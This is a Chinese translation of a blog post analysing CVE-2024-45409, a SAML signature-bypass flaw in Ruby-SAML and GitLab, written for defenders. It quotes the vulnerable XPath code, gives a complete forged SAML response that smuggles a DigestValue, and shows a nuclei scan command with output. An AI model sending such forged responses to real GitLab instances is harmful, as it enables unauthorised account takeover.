【Poc】CVE-2024-45409 Ruby-SAML/GitLab身份验证绕过

Ruby-SAML / GitLab 身份验证绕过 (CVE-2024-45409)

【原文链接:Ruby-SAML/GitLab Authentication Bypass】

https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass

攻击者可以利用 GitLab 中的 SAML 认证机制中的漏洞绕过认证,通过创建特制的 SAML 响应来非法获取对 GitLab 实例的访问权限。

2024-09-17

nuclei

分析

在这篇文章中,我们将分析CVE-2024-45409,这是一个影响Ruby-SAML、OmniAuth-SAML库的严重漏洞,它会直接地影响GitLab。此漏洞允许攻击者绕过SAML身份验证机制,并通过利用SAML响应处理方式中的缺陷来获得未经授权的访问。该问题的出现是由于用于保护SAML断言的数字签名验证存在缺陷,导致攻击者能够操纵SAML响应并绕过关键的安全检查。

SAML 消息验证

SAML 是一种广泛使用的协议,用于在身份提供商 (IdP) 和服务提供商 (SP) 之间交换身份验证和授权数据。确保交换安全的一个关键部分是通过数字签名和摘要验证来验证数据的完整性和真实性。

在本节中,我们将首先解释 SAML 签名和摘要验证的工作原理,然后探索 Ruby-SAML 中发现的可用于绕过签名验证的绕过方法。

在典型的 SAML 响应中,断言元素保存关键的安全信息,例如经过身份验证的用户的详细信息。为了确保此信息不被篡改,对其进行数字签名。

Assertion元素包含安全凭证,并且通过计算断言规范化内容的摘要(哈希)来保护该元素的完整性。在计算此摘要之前,从断言中删除签名节点。然后,该摘要包含在签名元素的SignedInfo块中。

Signature元素包括SignedInfo块,其中包含:

  • 指向断言的引用 URI 。
  • DigestValue ,表示断言块的摘要,计算后存储在该块中。

将摘要包含在 SignedInfo 块中后,将使用 IdP 的私钥对整个 SignedInfo 进行签名,并将结果放置在SignatureValue元素中。

以下是结构的简化 XML 示例:

xml


<Assertion ID="_abc123">
  <Signature>
    <SignedInfo>
      <Reference URI="#_abc123">
        <DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
        <DigestValue>abc123DigestValue</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>SignedWithPrivateKey</SignatureValue>
  </Signature>
    <!-- Assertion contents -->
</Assertion>

对断言的任何修改都会改变其摘要值。但是,由于SignedInfo元素包含原始摘要值并使用 IdP 的私钥进行签名,因此攻击者无法在不使签名无效的情况下更改 SignedInfo 块。此机制可确保在服务提供商 (SP) 验证响应时检测到对断言的未经授权的更改。

当服务提供商 (SP) 收到 SAML 响应时,它会执行两项关键检查:

SP 计算断言的摘要(在删除 Signature 节点之后)并将其与SignedInfo块中存在的DigestValue进行比较。如果摘要不匹配,则断言已被篡改。

SP 使用 IdP 的公钥来验证SignedInfo块上的签名。如果签名有效,则确认 IdP 签署了该消息并且该消息未被修改。

Ruby-SAML 绕过

在 Ruby-SAML 库中,在实际签名验证之前会进行多项验证,包括架构验证和断言数量检查。然而,由于在验证过程中如何使用 XPath 提取某些元素,因此出现了一个特定的漏洞。

/ - 这选择从文档的根开始的节点。例如, /samlp:Response检索samlp:Response根节点。同样, /samlp:Response/saml:Issuer将从根节点saml:Issuer开始访问samlp:Response

./ - 这选择相对于当前节点的节点。例如,如果当前上下文是元素,则./SignedInfo将返回节点,该节点是的直接子节点。

// - 这从文档中的任何位置选择节点,包括所有嵌套节点。例如, //SignedInfo将选择的所有实例,无论它们在文档中嵌套的深度如何。

Ruby-SAML 库中提交了一个补丁(请参阅此处),试图加强安全性。以前,在 XPath 选择器中使用//访问元素的方式过于宽松。

https://github.com/SAML-Toolkits/ruby-saml/commit/4865d030cae9705ee5cdb12415c654c634093ae7?ref=blog.projectdiscovery.io

问题出在这里:

当从引用节点提取DigestValue时,使用了 XPath 表达式 //ds:DigestValue。这意味着将从文档中的任何位置选择具有 DSIG 命名空间的DigestValue元素的第一次出现。

ruby

encoded_digest_value = REXML::XPath.first(
  ref,
  "//ds:DigestValue",
  { "ds" => DSIG }
)

通过利用此漏洞,攻击者可以将另一个DigestValue偷运到 samlp:extensions 元素内的文档中,该元素旨在保存具有有效命名空间的任何元素。

该漏洞允许我们绕过签名验证,如下所示:

  • 我们在 samlp:extensions 元素中插入修改后的断言的DigestValue 。
  • XPath 选择器将提取这个走私的DigestValue,而不是来自SignedInfo块的 DigestValue。
  • 由于SignedInfo块本身没有被修改,因此它通过了签名检查,但实际的断言内容可能已被篡改。

以下示例说明了如何在代码中利用这一点:

ruby

hash = digest_algorithm.digest(canon_hashed_element)
encoded_digest_value = REXML::XPath.first(
  ref,
  "//ds:DigestValue",
  { "ds" => DSIG }
)
digest_value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))

unless digests_match?(hash, digest_value)
  return append_error("Digest mismatch", soft)
end

unless cert.public_key.verify(signature_algorithm.new, signature, canon_string)
  return append_error("Key validation error", soft)
end

在这种情况下:

  • canon_hashed_element指的是没有 Signature 块的 Assertion 块。
  • encoded_digest_value是我们在 samlp:extensions 中走私的受控DigestValue 。
  • canon_string指的是 SignedInfo 块。

以下是执行 SAML 绕过的 SAML 响应示例:

xml

<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response Destination="http://kubernetes.docker.internal:3000/saml/acs"
    ID="_afe0ff5379c42c67e0fb" InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
    IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
    xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
    <samlp:Extensions>
        <DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
            legitdigestvalue
        </DigestValue>
    </samlp:Extensions>
    <samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
    </samlp:Status>
    <saml:Assertion ID="_911d8da24301c447b649" IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
        xmlns:xs="http://www.w3.org/2001/XMLSchema">
        <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
        <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
            <SignedInfo>
                <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
                <SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
                <Reference URI="#_911d8da24301c447b649">
                    <Transforms>
                        <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
                        <Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
                    </Transforms>
                    <DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
                    <DigestValue>U31P2Bs1niIjPrSSA5hpC0GN4EZvsWMiOrHh6TqQFqM=</DigestValue>
                </Reference>
            </SignedInfo>
            <SignatureValue>
                KUM0YSAtobgqTq1d2dkd6Lugrh5vOhAawv4M8QPkxsiHaOuGxLCyqlJy74opHHc2K5S5hz8Us12kVplsHrFBJUezAbD+ME9Qx6bHc3G8RUfjnkJgEqb8m9yQAWpDNIBOff4nUbJp9wnMmLmTyOj7at+rkFpyrydHVBTNemkRNShuH/+3aYBWSmUJkOV2dVhUjHF9nTJv/6KAA39S8Z86uNulwxN+0Cc55bGH2P+qau3YYafpEJVEG17cVLL0mkpVUTRxtBn/8vJHCPbwT7/hx2RXdxdM+V6T59kPuRRW5iyGzk2bx6qKvUCqLwWTp5xA/uw0WxlDvCiQGpzJBVz5gA==</SignatureValue>
            <KeyInfo>
                <X509Data>
                    <X509Certificate>MIIC4jCC....HpLKQQ==</X509Certificate>
                </X509Data>
            </KeyInfo>
        </Signature>
        <saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
                [email protected]</saml:NameID>
            <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml:SubjectConfirmationData InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
                    NotOnOrAfter="2024-10-03T13:55:44.973Z"
                    Recipient="http://kubernetes.docker.internal:3000/saml/acs" />
            </saml:SubjectConfirmation>
        </saml:Subject>
        <saml:Conditions NotBefore="2024-10-03T13:45:44.973Z"
            NotOnOrAfter="2024-10-03T13:55:44.973Z"
            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:AudienceRestriction>
                <saml:Audience>https://saml.example.com/entityid</saml:Audience>
            </saml:AudienceRestriction>
        </saml:Conditions>
        <saml:AuthnStatement AuthnInstant="2024-10-03T13:50:44.973Z"
            SessionIndex="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:AuthnContext>
                <saml:AuthnContextClassRef>
                    urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
            </saml:AuthnContext>
        </saml:AuthnStatement>
        <saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml:Attribute Name="id"
                NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
                <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
                    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
                    1dda9fb491dc01bd24d2423ba2f22ae561f56ddf2376b29a11c80281d21201f9</saml:AttributeValue>
            </saml:Attribute>
            <saml:Attribute Name="email"
                NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
                <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
                    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
                    [email protected]</saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>
    </saml:Assertion>

</samlp:Response>

CVE-2024-45409 Nuclei Template

bash

$ nuclei -t CVE-2024-45409.yaml -u https://gitlab.redacted.com -code  -var SAMLResponse='REDACTED'

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.4

		projectdiscovery.io

[INF] Current nuclei version: v3.3.4 (latest)
[INF] Current nuclei-templates version: v10.0.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 86
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2024-45409] [http] [critical] https://gitlab.redacted.com/users/auth/saml/callback ["c4a8f2720a97068ee44440beee8f296c"]

GitLab SAML 身份验证绕过的视频 poc

结论

CVE-2024-45409漏洞展示了签名验证中的细微缺陷如何产生严重后果,使攻击者能够绕过关键身份验证机制。此分析强调了严格验证程序的重要性,尤其是在处理 SAML 等安全协议时。虽然该漏洞已得到修补,但它提醒我们,如果不仔细实施,即使是广泛采用的库也可能存在漏洞。

依赖 Ruby-SAML/OmniAuth-SAML 进行身份验证的组织/应用程序应确保其库是最新的。通过了解此类漏洞的性质,开发人员和安全团队可以加强对潜在攻击的防御。